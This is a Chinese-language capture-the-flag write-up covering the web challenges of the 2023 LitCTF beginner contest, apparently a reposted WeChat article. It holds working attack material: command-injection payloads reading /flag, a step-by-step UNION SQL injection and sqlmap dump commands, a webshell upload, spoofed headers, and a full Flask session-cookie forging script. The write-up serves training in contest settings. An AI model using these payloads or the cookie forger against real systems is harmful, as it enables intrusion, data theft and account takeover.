-
我flag呢?
直接查看源码
-
导弹迷踪
一个游戏,一般来说就跟JS有关了,直接审查js,既然是游戏那么直接去game.js查找
-
follow me and hack me
根据提示直接Hacker bar
-
PHP是世界上最好的语言
看见翻译啥的回显框,一般判断为ssrf,但这里是直接命令执行
system('ls');
system('ls /');
system('cat /flag');
-
vim yyds
hint:漏了
根据提示直接扫目录
dirsearch
扫描出个200,直接访问查看
访问后是个下载二进制文件,丢入winhex查看,根据提示(vim应该是可以的)
看到了关键信息
根据代码构造password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag;
-
作业管理系统
看到此类,一般是需要登陆后台的,用bp爆破发现想的多了,在页面底下就有提示,且爆破出来正确的密码长度也一样,需要看回显
登陆上去关键点在上传文件,直接上传一个webshell连接即可,后台没有设置限制
-
这是什么?SQL?注一下
师傅是懂说话的
提示来了,直接注
?id=1))))))%20order%20by%202%20--+
?id=1))))))%20order%20by%203%20--+
判断出字段为2,那么继续构造判断回显点
?id=1))))))%20union%20select%201,2%20--+
1,2都是
构造查询语句
?id=1))))))%20union%20select%20version(),database()--+
查询所有数据库
id=-1))))))%20union%20select%20schema_name,2%20from%20information_schema.schemata%23
查询ctfraining库表
?id=-1)))))) union select group_concat(table_name),2 from information_schema.tables where table_schema='ctftraining'%23
查询列
?id=-1))))))%20union%20select%20group_concat(column_name),2%20from%20information_schema.columns%20where%20table_name=%27flag%27%23
查询具体数据
?id=-1))))))%20union%20select%20flag,2%20from%20ctftraining.flag--+
也可以用sqlmap工具
语句
python sqlmap.py -u url/?id --dbs
python sqlmap.py -u url/?id -D 数据库 -tables
python sqlmap.py -u url/?id -D 数据库 -T 表名 -columns
ython sqlmap.py -u url/?id -D 数据库 -T 表名 -C 列名 --dump
8.Http pro max plus
点进去只允许本地访问,xff尝试(建议请求头写前面点,写最后容易报错)
换成client-ip:127.0.0.1
referer:pornhub.com
ua:chrome
via:Clash.win
拼接发现
在拼接得到flag
9.ping
有回显,直接命令执行
有阻拦,但是弹窗的话一般为js,直接关闭js 执行127.0.0.1;ls
在执行命令
127.0.0.1;ls /;
127.0.0.1;cat /flag即可
10.1zjs
hint:js?不确定再看看
打开也是个游戏,但是F12被禁用,打开开发者模式查看源码或者直接禁用js
查看js发现一句话
结合刚才hint,不确定是js,那么尝试拼接url。打开后
非常熟悉,一种js表达式,直接放入控制台执行
11.就当无事发生
数据没脱敏啥的,重新部署。点开链接,是某师傅主页。检索一番,发现三个外站,但是能重新部署的也就github了,打开页面。根据链接找到probiusofficial.github.io/2023/4.29日
emmmm,更像是一个osint的题目
12.flag点击就送
抓包分析
发现是ssesion验证
大概率是获取ssesion绕过验证
多次尝试发现它是一个包含base64解密{name:2}的json格式的密文,但仍然没有头绪
看了别的师傅wp才知道需要看框架,说明自己脑子还是想的不够多
简单了解flask框架之后发现它的ssesion是需要设置一个密钥。不仅如此,flask敏感数据加密后放入session中,然后把session存放到cookie中,下次请求的时候,从浏览器发来的cookie中读取session,再从session中读取敏感数据,并进行解密,来获取用户数据。flask的这种session机制把所有的信息都存储到了客户端。
那么现在需要的就是一个密钥来生成以admin形式登陆的密文,直接调用脚本
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if (args.subcommand == 'encode'):
if (args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif (args.subcommand == 'decode'):
if (args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value, args.secret_key))
elif (args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
这里密钥是需要猜解的,欢迎来到LitCTF,LitCTF是可能的密钥,(表示根本猜不出来)
输入命令
python flask.py encode -s "LitCTF" -t ""eyJuYW1lIjoiMSJ9.ZGHXBQ.NnGhuqQTlsw_2k0TZrlTFCSUAkg"
得到
然后构造{“name”:"admin"}
python flask.py encode -s "LitCTF" -t "{"name":"admin"}"
得到
解密即可
13.彩蛋
我flag呢
审查js
follow me and hack me
扫了一下没啥线索,直接dirsearch了,发现一个/flag.php目录,但是0B,又继续扫了下,发现一个www.zip,欣喜若狂啊家人。
直接记事本打开
作业管理系统
这里有个链接访问下
sql注入
sqlmap跑一下库
最后:
python sqlmap.py -u url/?id=1 -D ctf -T users -C password --dump
拼接即可获得flag
原文始发于微信公众号(shadowsec):2023 LitCTF新生赛 web部分wp
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论